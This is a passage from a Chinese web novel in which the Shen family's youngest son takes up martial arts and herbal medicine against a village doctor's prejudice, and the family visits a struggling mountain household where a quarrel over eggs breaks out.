就是苦了院子里的鸡,被他和乌雪吓的直往鸡窝里面钻。 “啊啊啊啊啊——好漂亮啊!我在握着发光的星星!” 随着沈来的动作,滴滴金飘落而下,如梦似幻。 沈回动作快,好几个滴滴金一起燃烧,视觉上更漂亮夺目。 凌星第二根滴滴金玩没了,颇有些意犹未尽。 正要转身,眼前又有璀璨花火。 沈回将手里的那根滴滴金给凌星,声音低沉磁性,“生辰快乐。” 凌星眼睛弯弯,低头看手里闪烁着的金色花火。 所有人站在星空下,同样笑容满面的看着手里燃烧的“星星”。 沈回也在垂眸,看他眼中的星星。 没人注意到他眼中浓烈的情绪。 只有小小的乌雪,跑累了停下来,摇晃着尾巴。它歪着狗头,眨巴圆溜溜的眼睛,对着沈回和凌星的方向,呜汪一声。 放完滴滴金,天色已晚。 谢青崖和王隽提着灯笼回家,沈家人也都洗漱准备睡觉。 沈来磨磨蹭蹭最后一个收拾完,他终于抓到二哥明显很高兴的时候了。 趁着大家都休息,沈来拉住要进去的沈回。 “二哥,我想和你学武。” 第57章 第 57 章 “阿月,你在念咒嘛?”…… 沈来要学武这事, 在沈家掀起了一阵风。 徐有芳第一个不同意。 “你这孩子魔怔了不成?本来就皮,还不会料理家务,再学个武,以后真没人要嫁不出去你就知道哭了。” 现在家里不比从前, 要是放在以前, 别说沈来想学武,就算是他想打铁, 徐有芳都送他去。 那时候家里有权有势, 不怕孩子没人家要, 更不怕孩子因为会这些背地里遭人耻笑。 女子哥儿活的本就艰难,仿佛做什么都不对。 被人指点的滋味不好受, 那就是钝刀子割肉, 不要命可疼啊。 徐有芳是真的想尽自己所能,让孩子能少受委屈。 沈来是倔脾气,决定的事也难改。 这次就算是徐有芳拿起扫帚了, 沈来也站着一动不动,眼睛一闭等着挨打。 打吧打吧, 反正打完我,我还是要学武。 知道孩子是动真格的,徐有芳气的丢掉扫帚,一天没出来吃饭。 沈来陪着她一起饿肚子, 坐在西头房门口, 门神一样。 母子二人扭了一天, 最后还是当娘的先低头。 她掀开门帘, 看到抱着腿坐地上睡着了的人,无奈的叹一口气,大晚上点着油灯揣面擀面, 给沈来做他爱吃的面条。 徐有芳默许了沈来学武,家里其他人都没意见。 她每天看着沈来鼻青脸肿,趁着沈来睡觉,掀开衣服查看,身上也是青青紫紫。 心里疼的慌,又没办法。 一家人都以为沈来坚持不了多久,他一直都是风风火火的,喜欢的快,不喜欢的也快。 徐有芳也盼着他快点对学武失去兴趣,结果沈来硬是咬牙坚持下来了。 一整个夏天,沈来都在酸痛中度过。 但他的体魄也确实更加的强大,每天的饭量在增多,偏白的皮肤慢慢变成小麦色,手臂和腰腹有了线条。 乌雪每天都会跟着沈来绕山脚跑,个头也在猛蹿,还学会了基本的配合攻击。 沈回训练的用心,人和狗都有了很大的变化。 他自己的学业也没落下,每天出完摊子回来,开始教沈来和训狗,忙完了就去看书。 每隔两天去找王隽一趟,每三天上山一趟,弄芭蕉叶,顺便看看笼子里有没有东西,好放开肚子饱餐一顿。 九月,燥热的天气终于结束,秋风起,天气转凉。 乡野间一片秋色,金黄如画卷。 劳累的秋收结束,等待着衙门的人来上门收税。 年初的时候,沈家还在担心今年的人头税交不上,怕是要去修路抵税。 没想到不仅不用去修路,交了税后,还有许多的盈余。 凌星不清楚家里人有多少,但他这几个月下来,去除日常花用和凌月的药钱,积攒了四十两银子。 在镇上租铺子是绰绰有余的。 凌星在盘算铺子的事情,沈呈山和徐有芳也在盘算家里盖房子的事。 家里算上徐有芳这几个月赚的加上凌星交给公中贴补的,还有地里的产出,所有加起来有五十两银子。 一块青砖要五文,要是想墙体结实冬暖夏凉,墙体就得厚一点,这样的话,砖量就多。还有房梁用的木头,选好点的也要十几两银子。 家里人口多,不算修院墙,单算屋子要六万多块砖头,光买砖需要三十两银子。算上院墙,房梁,瓦片,一共要六七十两。 徐有芳估摸着年前能开工,比之前想的明年开春要早几个月,但肯定不能一下子把钱全部花完。 要是每个月她能再赚点就好了。 盖房子这事要提前联系好人的,农忙过后,沈呈山提着几两肉去了趟村长家。 让村长帮忙找人盖房子,每天工钱二十文,但包三餐,保证两天可以吃顿肉。 对来干活的人没别的要求,就是要勤快不偷奸耍滑的。 一般人家包两餐,沈家包三餐,待遇已经是难得的好。 活也在家门口,还不用起早贪黑赶路,消息放出去后不少人响应。 沈家很少请祝如山帮什么忙,这次祝如山是擦亮了眼睛帮沈家把关选人。 这一年不到的功夫,就要盖大房子了。听说沈二郎和凌家的弟弟还都念书要科考,往后沈家不知道要发展成什么样。 趁着现在还有用得着他的,可得好好帮。 沈呈山还去了砖厂定砖,这些都是要提前定,且有定数的。 年前盖房子的不少,砖厂也忙的很。 沈呈山再晚来几天,都赶不上盖。 房子定在九月中旬推倒,重打地基。不然后面天冷了,就不好打。 徐有芳每天更加卖力的做绒花,想再多赚点钱。 凌星看她又开始时不时的揉眼睛,便提议道:“娘,不然叫三妹来帮你做?” 绒花的生意,自己家里还没赚多久,自然不会交给旁人去做。但交给自己女儿,肯定是放心的。 徐有芳心中一喜,她其实也早有想过,但又不好和凌星提。 这主意是凌星说的,虽然赚钱她拿大头,但手艺没凌星的首肯,她不会自己教出去。 “你同意,娘没问题。” 凌星这时才晓得徐有芳把这门手艺算他身上了。 “娘,这手艺也不是我的。我只是以前无意看过,说了出来。具体怎么做,是你自己研究出来的。后面娘想教谁就教谁,不用问我的。” 徐有芳心里暖呼呼的,笑着应了一声。 三女儿小时候和她学过一阵子刺绣,虽然不怎么好,可比没经验的强。 实在不行就让她修建花瓣形状,最后的烫和组装她自己来。 也能节约许多时间,多做不少。 闺女来帮忙,她还能贴补些,叫她手里有银子,日子能过的好点。 想到这里,徐有芳又轻叹一口气。 六月那会外孙出生,她和老伴两人提着一堆东西上山,看到女儿瘦弱模样,心疼的都难以呼吸。 山上不怕没吃的,可要吃饱也难。 赵家儿郎多,活路多,同时也吃得多。 各个都像家里二郎那样高壮,可见每天要吃多少。 她家二郎要不是自己会额外上山填肚子,只吃家里的,那家里早被吃垮了。 可赵家的儿郎们不吃也不行,都是要和猎物动手的,没力气那还怎么动手。 这样一来,只能仅着男人吃,然后是孩子吃。孩子要是不吃,那么小的身体受不住,很难养活。最后才是家里的女人吃。 哪怕是这样,赵家的孩子们也依旧骨瘦如柴。女人更别提了,亲家母比她闺女还瘦呢,她眼瞧着人,都怕她被小风吹跑了。 人多粮食少,就会这样,没办法。 他们家没扔孩子,没让家里谁真的饿死,已经是山里难得的人家了。 三姑爷也不错,在她家燕儿怀孩子的时候,会省下些口粮偷偷留着给燕儿吃。 也正因此,孩子才有惊无险的生下来,母子平安。 想到女儿吃着煮鸡蛋泪流满面,说特别好吃的样子,徐有芳吸了一下鼻子。 “星哥儿啊,娘真的谢谢你。” 突然一下这样郑重的道谢,凌星不由自主站直了身体。 要走的时候才想起来沈归打算去山里。 “对了娘,之前不是还说过弄腌菜这事让赵家人帮忙嘛。天冷后正好也捕不了猎,不种地,赵家那边闲下来可以来帮弄腌菜。四弟准备去山里一趟,要他直接把三妹带下来不?” 腌菜这事凌星之前和沈归就商量过,想今年冬天多腌一点腌菜,等开春后,沈归也单租个摊位去卖。 到时候凌星正好租有铺子,晚上可以把腌菜放在铺子里面。 多卖就能多赚钱,沈归看着俩孩子一天一天大起来,用钱的地方多了去。 他还想给妻儿买更多的衣服鞋子好吃的,这些也都要钱。 凌星见沈归积极想干,便把腌菜全权交给他去做,分成也多给沈归一成。 他只出方子,盈利二人五五分。 做的多,需要的原料也就多。家里地里长的那些不够,还需要去村子里收。 这些都需要人手。 沈归就想着这两天去一趟山里,找赵家人说说。 徐有芳想了一下道:“他什么时候去?我和他一起去。” 直接带下来肯定不行,让沈燕来这,需要赵家二老同意。 这事小年轻没法说,得家里长辈出面。 凌星说明天就去,徐有芳点说好。 “明明就是你自己弄错了,你凭什么还来我家告状!” 外面传来沈来的尖叫声,让徐有芳手头一顿,“走,出去看看。” 院子里,沈来手里端着装有鸡食的陶碗,里面都是他带着乌雪出去抓来的小虫子。 家里除了沈来和沈回,没人敢看那陶碗。 不过家里的鸡因为这些虫子,长得膘肥体壮,每天都给家里提供两个鸡蛋。 积攒几天后,徐有芳就会做一顿,让家里人都吃上蛋,补补身体。 此时,陶碗里的小虫子还没有完全喂完,正在里面蠕动着。 凌星怕那软趴趴的玩意,隔着几步距离站定。 门口的两个人还是熟人,正是隔壁村孙大夫和他的小学徒朱小海。 徐有芳一眼看到朱小海嘴角有伤,一双眼睛红彤彤,一看就是哭过的模样。 再看她儿子沈小五,一手叉腰,一手拿着陶盆,气势如虹的瞪着朱小海。 “你这孩子是不是又闯祸了!”徐有芳上前不轻不重的打了一下沈来的背,趁着他要叫嚷前,把人往后一拉,“不许喊!” 沈来委屈。 他一扭头重重的哼一声。 “娘你又冤枉我!” 徐有芳余光瞄向孙大夫,见对方的脸色不是很好,也不管沈来是不是受了委屈,又不轻不重的给了他后背一巴掌。 “还说!” 孙大夫是周围唯一一个大夫,这是能救人命的。前面凌月头伤成那样,也是孙大夫救了回来。 徐有芳得罪谁,也不能得罪孙大夫。 现在孙大夫一脸不虞的带着徒弟过来,一看就是给爱徒找场子的。 她打定主意,就算是让沈来吃亏受冤枉,也不能让孙大夫不高兴。 沈来挨了两巴掌,其实都不疼。 但架不住他心里憋屈难受,抱着陶碗就走,看到凌星在不远处,委委屈屈的跑过去,寻安慰。 凌星紧盯着那陶碗,脸都白了几分。 你不要过来啊! 眼看着沈来就要到身边,视线突然被人影遮挡。 沈回不晓得什么时候站在凌星身后,知道他怕虫子,抬脚及时挡在了凌星面前。 沈来一头撞上硬邦邦的二哥,捂着脑袋嘀咕,“二哥你干嘛啊,突然冲出来。” 还想嚷嚷两句呢,沈回一个眼神扫去,直接背脊挺直,老老实实站在原地。 这是他这些日子被训出来的本能反应。 根本不敢反抗沈回。 “你要么站远点,要么把手里东西放下。” 沈来哦了一声,把陶碗放在远一点的地方。再回来的时候,就见当人墙的二哥终于挪动,允许他靠近哥夫了。 徐有芳一直在好声好气的劝孙大夫别生气,见对方神色稍有缓解后,这才问道:“不知道我家小五做了什么?” 提起这个孙大夫就气,他指着沈来,手指都在发抖,“你家这哥儿真的是无法无天,整日跑来我院里!” “啊?” 徐有芳愣一下,不是打人啊? 在孙大夫气汹汹的怒吼声中,沈家人和凌星终于知道这是怎么一回事。 沈来不知道什么时候开始,会趴在孙大夫家的围墙外,看孙大夫教朱小海辨认草药晒草药。 他去偷看第一天,孙大夫其实就发现了。 不过他没认为一个小哥儿真能学会什么,加上也有些距离看不清,就更没放在心上。 沈来确实看不太清楚,可是他会记方位啊。 孙大夫家的院子除了晚上会关院门,其他时间都是开着的。 他就瞧准孙大夫进屋的时候,进院子里按着之前记的方位,仔仔细细的看草药,记样子。 朱小海和他师父一样,压根就没拿沈来当回事。 还因自己才是正儿八经的徒弟,朱小海每次看到沈来时,都不拿正眼瞧人,只用下巴看他。 这周围也没有其他精通医术,能辨认草药的。沈来是真心的想学,对于朱小海总是高高在上,一副瞧不起他的样子,也全当没看见。 孙大夫没把沈来放在眼里,让沈来钻了空子。 除了下雨以外,他每天雷打不动,要去一趟孙大夫那儿。 有时候能碰上孙大夫正在给朱小海讲东西,沈来也能跟着听两句。大部分的时候碰不上,他就去院子里面看草药。 没想到沈来这样东拼西凑的学,竟然还真认出了些草药。 今天上午沈来去的时候,朱小海正在给草药分类摊晒。 就在他把一株草药放在同类堆里面的时候,沈来突然一下跳出来把那个草药给拿走。 “这根本就不是七子叶,你怎么能把它放到七子叶里面呢?” 朱小海平时就觉得沈来像个苍蝇一样,总是在身边转来转去,已经够烦了。 今天不仅转来转去,还干涉他,指责他弄错了,朱小海直接就炸了。 一个只看过些草药的小哥儿,能懂什么! 他瞪着沈来,直接伸手去抢夺草药,“这怎么不是七子叶?这就是七子叶!难道我还没有你懂吗?” 沈来能感觉到朱小海的不屑与轻视,他左右躲避,指着手里的草药。 “你仔细看清楚了,七子叶的叶子脉络是十分混乱的,而这个叶子的脉络却是乱中有序,且边缘还有小小的锯齿状。这分明就是七齿叶!” 他越说越生气,“孙大夫前不久才和你强调过这两者的不同,你忘了就算,可你眼前就是一堆七子叶,但凡仔细看,好好的对比一下,就能看出这细微差别。” 沈来不是气朱小海看不起他,也不是气朱小海认错草药。 他是气朱小海不认真,不仔细。 明明能够看出不同,明明有一堆的对比,只要用点心,就不会出现这种错。 朱小海顺着沈来的话看向草药,还真是如他所言,不是七子叶,而是七齿叶。 这两种草药外形十分相像,不仔细分辨,很难看出不同来,但它们的药效却是完全不同。 朱小海瞬间面色涨红,羞恼万分。 就像沈来说的,师父前不久才再三叮嘱强调过,可他今日就忘了。 还是在有一堆七子叶做参照物的前提下险些放错。 沈来把草药还给朱小海,随口提醒,“你以后不要再放错了,看仔细一些。” 学医者如此不谨慎,实在是大忌。 最终受害的,只有病患。 在沈来看来,只不过是一句提醒,可朱小海听着却极其刺耳,简直就是在戳他的肺管子。 朱小海恼羞成怒,对沈来吼道:“要你一个哥儿在这对我指指点点?我要你教我做事?” 说着朱小海就朝沈来扑过去,用头顶撞沈来的腹部。 沈来跟着沈回学了好几个月的武,反应跟速度都很灵敏快速。 他脚下一动,身体侧开,朱小海就直接冲了出去,一头撞在了木架子上。 一阵噼里啪啦的声音后,架子上摊晒着草药的簸箕应声而落。 草药被撒得满地都是,朱小海的头上还搭着几株。 “出什么事儿了?” 孙大夫的声音从屋里响起,朱小海直接颠倒是非黑白吼了一句,“师父!沈来他欺负我!” 闻声孙大夫赶紧出来,一眼就看到辛苦采摘的草药落了一地。 簸箕散落在周围,自己的小徒弟在七零八落的草药堆里,身上头上都搭着草药。 而沈来则是干干净净的站在一处。 眼看着孙大夫从平静到生气,沈来急忙道:“我可没有欺负他,我是提醒他放错了草药。” “他把七子叶和七齿叶给搞混了,我提醒他别再放错,结果他就要冲过来扑我。我只不过是躲避了一下,是他自己不小心撞上了草药架子,和我有什么关系?” 朱小海早就僵硬在地上不敢动,悄悄打量着他师父的脸色。 孙大夫的脸色是由白到红,又由红到青。 他咬着牙,四处的张望。 沈来对这动作熟悉,他娘每次找东西要狠抽他的时候,就是这么个动作。 沈来不敢再多待,这师徒俩都是不分青红皂白的人。 趁着孙大夫还没找到东西,沈来撒腿就跑,那速度快的要是乌雪在,都赶不上他。 等沈来走后,孙大夫让朱小海实话实说。 朱小海也不敢再隐瞒,只好说了来龙去脉。 孙大夫听完后脸色铁青,他一掌拍在桌上,吓得朱小海扑通一声跪在地上,大气都不敢喘。 见徒弟被吓到,孙大夫揉着眉心,“你起来,师父不是怪你,先去把草药收拾好。” 朱小海将信将疑的起身,连忙去收拾草药。 等他收拾好,就见孙大夫走来,说要带着他去沈家讨说法。 整个过程孙大夫也没有添油加醋,如实地和沈家人说了。 徐有芳听完后,有些奇怪的看了一眼孙大夫。 按着这么说的话,她家小五是没错呀。 那不仅没错,还有功呢。 这草药要是放错了,最后再没拿出来,还抓给了病人吃,可是会要命啊! 哪怕是想息事宁人的徐有芳,此刻都说不出怪沈来的话。 也不理解孙大夫来她这要讨什么说法。 难不成要沈来认错,不应该帮着把那放错的草药拿出来? 正想着呢,孙大夫就呵斥道:“简直就是不成体统!哥儿如何能学医?我本以为他只是随便看看,不曾想他竟还私自学会辨认了草药!女子哥儿为阴不吉,接触这些不是晦气嘛!” 自古以来,多为男子学医。女子和哥儿学医的话,那都是私下悄悄学。 出诊治病更别想。 但这个规定,在前朝被一个女医打破。 没人知道她的医术和谁学的,只知道她很厉害,堪称妙手回春。甚至还救回了被太医宣判死亡的皇后和未出生的孩子。 听说是把人肚皮剖开取子,又将其缝上。听着实在骇人,但确实保住了皇后和那孩子的命。 而被救下的那个孩子,成为了太子,登基后更是开创了一代盛世。 可惜他的子嗣没有一个能干的,在他驾崩之后,前朝便开始走向衰亡。 但因那位女医的缘故,女子和哥儿拥有了学医的资格,也可开堂坐诊。 不过大禹建朝后,接连发生多起女子哥儿的医馆治死了人,传的沸沸扬扬。大家都说是因为女子和哥儿为阴,是为不吉,不应该接触治病救人这样的事。 女子哥儿的医馆大面积的关门,如今整个大禹境内都没几家。 这些原身的记忆里有,凌星在听孙大夫吼完后,脑海里就浮现出了相关的记忆。 关于传出女子和哥儿行医为不吉,医馆又大面积关停的事,凌星总觉得是人为操控的。 他才不信吉不吉的鬼话,肯定是因为动了某些人的利益,又或者是某些人想要得到什么东西,才用这种流言手段去逼迫。 而眼前这位因为沈来认两株草药,就一副天塌了模样的孙大夫,也让凌星开了眼。 “孙大夫,裴蕴大夫曾公布过一针灸术,是能让头部受创之人减少伤害,让轻度昏迷之人醒来的。这针灸术全天下人都可学,也造福了许多百姓。让很多头部受创的人,能有一线生机。” “当初我弟弟脑袋受伤,后面见孙大夫用了针灸术给我弟弟扎针。我不懂医,但现在想想,针灸的大概方位,是和裴蕴大夫公布的一样。” 原身看过的《女医裴蕴传》里面有这针灸图。 不过想要学会,还是需要有一定基础才可以。也不是随便是个人都会,但基本上医者是都会的。 凌星问孙大夫,“不知孙大夫的针灸术是否是跟着裴蕴大夫学的?如果是,那么裴蕴大夫是女医,按孙大夫所言,她也不吉吗?那学了她针灸术的孙大夫,又吉不吉?” 孙大夫脸直接黑了。 他没办法否认,自己引以为傲,赖以生存的针灸术,是女医裴蕴公布的。 “裴蕴大夫不一样——” 凌星打断,“有什么不一样?” 孙大夫咬牙,“你家哥儿好大的脸,能和裴蕴大夫放一起比较?” 凌星憋了一下,最后还是没憋住。 “你说女子哥儿不吉,你还是女子或哥儿生的呢。” 安静。 一片死寂一般的安静。 乌雪在这怪异氛围下,也不摇尾巴了。 在这样的情景下,这句话就等于是当众讨论孙大夫怎么被生出来的。 若是年纪大一点的乡野村妇或夫郎对孙大夫说,那也正常。 关键是凌星年纪小,这种话不适合他对孙大夫说。 孙大夫反应过来后,面色涨红,气成猪肝。 “你一个哥儿不知羞耻!大庭广众之下,如此言论!以下犯上!” 凌星还没说什么,沈回动了一下。 “你再说一遍,谁不知羞耻?” 孙大夫仰头看着高壮男子,嘴唇蠕动,想要说话。但眼前人的视线太冷,压迫感极强还带着些不容忽视的凶。他哆嗦一下,知道自己真张口再说,就一定会被打。 “没、没谁。” 孙大夫带着朱小海灰溜溜走了,他来沈家就是想让沈家人管教沈来,哥儿不吉,不要企图学医。 谁知道话都没说清楚,就被赶出门。 徐有芳看着孙大夫慌张离开的背影,没好气的对沈回道:“你说你好好的吓他做什么?以后生病了,还怎么找他看?” 沈回不在意道:“他医术也就那样,明日我去买马。有马去镇上快,真生病也不耽误时间。” 徐有芳没再说什么,今日的孙大夫都让她感到陌生。 以前觉得孙大夫挺好的,没想到对女子哥儿的偏见如此深。 没涉及到他的时候,隐藏的好。涉及到他的时候,简直就是换了副面孔。 徐有芳摇头叹气,转头看见缩在一边企图降低存在感的沈来。 “小五,你整天跑去孙大夫那,是又起了学医的心思?” 沈来点点头。 “不是刚起,是和学武的心思一起有的。” 他怕一下子学两个会两个都学不好,就先学武,打了基础再想办法学医。 徐有芳听他说了想法,笑了一声。 还挺有规划。 不过再有规划也没用,家里没门路,而孙大夫的态度很明显,沈来的学医路只能就此停下。 晚上沈来抱着枕头默默流泪。 我学不了医了呜呜呜呜呜,我刚学会认五株草药呜呜呜呜呜…… “别哭了小五。” 自以为默默哭泣,实则一直在抽泣吸鼻子的沈来一怔。 “嗷哥夫,我没有哭呜呜呜呜——” 凌星被沈来怪异的腔调逗笑,也知道孩子是真伤心了。 “我认识几株草药,你二哥也认识一些,我和他说,明天把我们认识的教给你。” 他爷爷年轻的时候就经常上山挖草药卖贴补家用,都是些常见的,也好认。 后来也总会带他上山挖草药,因此他也认得一些。 刚穿来第一次进镇上时,凌星看到有草药摊子,那时候还想着要不要挖草药卖呢。 结果因为太忙,这个计划就被搁置了 黑暗中沈来眼睛一亮,“哥夫你说的嗷,那我不哭了。” 凌星笑道:“嗯,我说的。” 一旁闭眼睡觉,躺的板板正正的凌月突然开口,“书箱里有两本医书,小五我可以教你识字,看医书。” 沈来没反应。 凌月说完准备美美睡觉,突然身上一重,是沈来反应过来什么意思后,直接压了过来,抱着他蹭。 “嗷嗷嗷嗷嗷嗷!阿月!你真好!真厉害!” 凌月被抱的刷一下睁眼,脸红透了,小声的念,“非礼勿视,非礼勿……” “阿月,你在念咒嘛?” 凌月沉默片刻,“没有。” 边上凌星听清了凌月嘴里念的什么,不由一笑。 这孩子年纪不大,满肚子的礼法教条。 明早就和凌月说,让他七岁再念。 这两年就先享受快乐的,肆无忌惮的孩童时光。 也得和沈来说别总学乌雪,他现在叫的声音,都快分不清谁是狗了。 第58章 第 58 章 赵家 出摊子的路上, 凌星和沈回说了教沈来辨认药草的事情。 沈回直接应下,“好,正好今天回去要上山采芭蕉叶,我顺手采些之前用的药草下来。” “我和你一起去吧。” 凌星也不会画画, 没办法将他认识的药草画出来让沈回替他寻。想着现在天开始冷了, 没那么多的虫蛇,再说也有驱蛇药粉, 不往太深的山林里去遇不着猛兽, 干脆一起上山。 沈回这次没第一时间答应, 而是沉默了一会才点头,“好。” 今天沈归和徐有芳一起上山去赵家, 没有跟着出来卖腌菜。 家里的腌菜卖得也差不多了, 剩下的那些也不准备卖,留着家里吃再给谢青崖分一些。 这次去山上徐有芳没有带多少东西,只捡了十个鸡蛋还有一点腌菜。 天冷之后, 山里也萧条不少。 温度也比山下要低一些,母子二人不敢停歇, 怕停下来被山风吹着,再染风寒。 山路难行,快到晌午的时候,母子二人才摸到山洼村村口。 家家户户炊烟袅袅, 都在做着饭。 平时山里很少来人, 但只要来过两次, 村民都能记得是谁。 徐有芳几个月前刚来过, 那时候还带了好多东西,满满一背篓,让人记忆深刻。 因此一路上还有不少人对她打招呼, 说赵家的亲家来啦。 又看向沈归,夸沈归长得好,问他娶没娶媳妇。 徐有芳和沈归一边忍着累加快脚步,一边回应着村民们。 “娶妻了,孩子都两个了。” 村民们见沈归那样年轻,面皮又白,嫩的很,还有些不信。 不过人家都这样说了,不管是真是假,都不好再问到底的。 赵家还要再往上,下面的村民不愿意往上爬,便没有继续跟,让徐有芳和沈归松一口气。 山洼村的村民们很少和外人交流说话,来个生人,就想多唠两句,倒也能理解。 等到赵家的篱笆院前,徐有芳和沈归都喘着粗气,累的不行。 每次来山上,都能要半条命。 山路难走,下面的人不好上,上面的人也不好下。不少嫁进山里的姑娘,都见不了几次家人。 没有谁家会像沈家,偶尔还进山看嫁出去的姑娘。 还不等徐有芳和沈归喘两口气缓缓,就听到赵家屋里爆发出一阵尖锐的哭声还有怒吼。 “不过了!不过了!这日子没法过了!娘你偏心也不能偏心成这样啊!她沈燕是你儿媳,我就不是嘛?她沈燕有孩子,我就没有嘛?赵元青是你孙子,赵元宝就不是嘛?” 听到熟悉的名字,徐有芳和沈归对视一眼。 坏了,出事了。 刘七花黑瘦的脸上全是泪痕,怀里还抱着个哭嚎的孩子,身体止不住的颤抖。 “我的命怎么这么苦啊!儿啊!娘活不了啊!活不了啊!” 怀里的孩子闻言哭的更狠,紧紧抱着刘七花,呜咽着,“娘不要死呜呜呜呜呜——” 赵老太五十多的年纪,头发已经全白了。 她瘦的脱相,颧骨突出,眼眶凹陷。此时正一脸伤心,责怪三儿媳拎不清不懂事。 “我向来是公正,给小辈们东西从来没说谁有谁没有的情况。七花,你今天和我闹,无非就是那野鸡蛋被我塞给了燕儿。可你当初吃燕儿爹娘送来的鸡蛋,馒头包子,大米白面的时候,怎么不哭不喊,不说娘偏心你了?” 赵老太啪啪啪的拍着桌面,神色越发凝重,语气也更严厉。 “那些都是燕儿娘家的东西,拿来补贴的也是燕儿和元青。是燕儿心里记着你们拿出来说一起吃,是我厚着脸收下,给你们都派发一点,吃上了好东西!什么叫偏心?这才是偏心,偏心你们!” 想到几个月前给家里这几个分大米白面的时候,一个个心花怒放,一口一个娘好,燕儿好。 如今才过了多久?就怨上她们了! 男人们不敢吭声,都在边上听着。 沈燕吸着鼻子,一双眼都要哭肿了。 她张口想说什么,就听见院子里传来声音,“这是怎么了亲家母?怎么发这么大的火气?快消消气,不然伤身体啊。” 沈燕转头一看,见到徐有芳和沈归时先是一愣,随后直接冲了出来,扑到徐有芳怀中。 “娘!” 这声娘夹杂着数不清的委屈和难过,接着就是控制不住的哭泣声。 徐有芳看到女儿这样难受,心里也不是滋味,抬手拍着她的后背,“不哭了燕儿,娘在呢。” 沈归不清楚发生什么事了,但他晓得三姐受了委屈。 他挡在家人面前,神色严肃的看向赵家人。 看见沈家人的赵家人一时间也忘记了反应,不知道他们什么时候来,又听到了多少。 但不管怎样,今天这事,肯定会让沈家人对他们家有看法。 赵长命看到徐有芳和沈归的时候,心跳都漏一拍,吓的。 又往后看发现沈回没来,悄悄松一口气。 不过沈归这时候的脸色也严肃的很,正凶巴巴的瞪着他,叫他也有苦难言。 赵老太反应最快,赶紧出来招呼人。 “哎呦,亲家母来啦。” 女儿嫁到人家当媳妇,不管怎样都得给面子。加上前面赵老太也是在帮着自己女儿,徐有芳到底没拉着脸,点头应了一声。 刘七花抱着赵元宝在屋里没出来,徐有芳几人进去了,她也没出声打招呼。 赵家三郎赵长远悄悄戳了下她,让她别再较劲,被刘七花瞪一眼。 正巧徐有芳看了过来,他也不好再有什么小动作,只好收手。 徐有芳拉着沈燕的手,示意沈归把装着送给赵家吃食的背篓放下。 随着沈归的动作,赵家人的视线都被吸引。 刘七花也控制不住的瞥过去,心里不由得想起以前吃的软乎乎的包子馒头,还有前几个月的鸡蛋米面。 她忍不住的吞口水,心里想的很。 背篓上面盖着一块破布,给里面的东西做一层防护,赵家人不晓得里面到底有什么。 但根据之前沈家给他们的东西,也知道不差。 徐有芳把赵家几个儿媳窥探期待的视线收入眼底,笑了一声,对赵老太道:“带了些鸡蛋还有腌菜来,给家里一起吃。” 鸡蛋和腌菜都是好东西,赵老太心里清楚,所以脸臊的通红,火辣辣的疼。 她家里人在这欺负人家闺女,人家还惦记她家,送东西来。 “亲家快拿回去,我哪里能要啊。” 赵家儿媳们一听就有些急,想说话被赵老太一眼瞪过去,硬是憋了回去。 赵老太这才转头又对徐有芳说:“留下的话,我在这也和亲家保证,东西都叫燕儿和元青吃。” 话音刚落,徐有芳就察觉到赵家其它几个儿媳视线都快把她闺女烧了。 她心里知道赵老太这话是为了安抚她,让她别为了今天的事,对赵家有看法。 可偏偏那几个儿媳不懂。 她们的眼里心里,只有一口吃的。 为了这口吃的,什么都能做得出来。 赵老太显然也察觉到儿媳们的视线,又见徐有芳不接她的话茬,似笑非笑的看着几个儿媳,无奈的叹一口气。 她佝偻着背,满面愁容。 “亲家母,我也不怕你笑话,家里今天闹这出就是为了个鸡蛋。” 赵老爷子去山里挖草药,运气好碰上只野鸡,还在下蛋呢。 把野鸡抓回家后,赵家人都高兴的不行。 野鸡下蛋受天气影响,后面天冷就不下了。趁着能下蛋,就没想着杀了吃肉,而是喂养起来,想着能下点蛋,给孩子们吃补身体。 本来是件好事,坏就坏在只有一只野鸡,蛋下的也不多。 积攒好几天,才能让孩子们一人一颗鸡蛋。 但是吧,鸡蛋又有大有小。 当娘的自然是想自家孩子吃大的,能多吃一口是一口。 每次分鸡蛋的时候,也是家里最暗潮涌动的时候。 赵老爷子不掺和家里这些事,他一个老头子管得了儿子,管不了儿媳。 赵老太心里有一杆秤,想着沈家送过好几次吃的,都是金贵的好东西。 这些东西全是一大家子跟着受益一起吃。 其他儿媳家是从没送过,前些年时局不稳,山下没吃的,赵家反而还送出去不少。 既然得了沈燕家里的利,那总得有些表示。 于是赵老太每次都会挑最大的蛋,专门加点猪油炖了给赵元青吃。 其他孩子是水煮蛋。 她这样做时也说了缘由,赵家几个儿媳各个都吃过沈家送的东西,自然也不会说什么。 说到底,是她们占了大便宜。 可是心里知道道理是一回事,情绪又是另外一回事。 她们也是当娘的。 看着自己孩子,每次都眼巴巴的盯着赵元青一个团子,香喷喷的吃加了猪油的炖鸡蛋,那馋的直流口水的样子,心里也难受啊。 她们也想自己孩子能吃。 可家里猪油有限,就算是赵元青的炖鸡蛋里,也只加了小拇指盖大小。 没办法,只能忍着憋着。 越忍越憋,心里就越气越不平衡。 今日刘七花爆发出来,是因为换季了沈燕有些头疼不舒服,正好鸡蛋多一个,赵老太就偷偷的用开水冲了,喊沈燕去喝。 好巧不巧的被刘七花看见,她想到自己发烧了也没个鸡蛋汤喝,自己孩子每次都分不到大鸡蛋,当场就受不了闹起来。 徐有芳边听边攥着沈燕的手,听到说沈燕身体不舒服,连忙询问,“现在好些了没?” 沈燕不想让娘担心,只点头说好多了。 看着女儿没什么血色的唇,徐有芳对赵老太道:“亲家母,燕儿病了身体不舒服,我瞧着山里没吃的,就带她下山住几天,正好还能请大夫看看。” “元青还小,不能离开娘,也需要多吃点补身体才好平安长大,所以也一起带走。” 徐有芳声音听不出喜怒,但不管是一直没出声的赵老爷子还是赵老太,都清楚她这是知会,不是询问。 要是沈家没送过东西给他家,又或是沈家不好相与,赵老太这会肯定要反对的。 家里供不起儿媳妇和孙子吃饭,还要他们去亲家家里才能填饱肚子,这不是戳他们脊梁骨嘛。 可是现在赵老太说不出不行。 沈燕也确实身体不舒服,赵元青还小,这个冬天要是在山上,都不一定能扛过去。 沉默半晌,赵老爷子声音干涩,“麻烦亲家母了,等家里料理好后,我让长命下山去接。” 赵家人多粮食少,入冬后会更艰难。吃东西要靠抢,不然到嘴的就会少。 徐有芳也清楚,赵家几个儿媳不是针对她的燕儿,也不是为她们自己吃。 是为了孩子。 说到底,都是穷闹的。 可是她就是偏心自己的孩子,她偏心她的燕儿。 她才不想管什么道理不道理,就是想为她的女儿撑腰。 沈燕的东西少,很快就收拾好。 背篓里的东西全都留在了赵家,也算是一个信号,没有真的动怒生气,但也要赵家二老平衡好家里的关系。 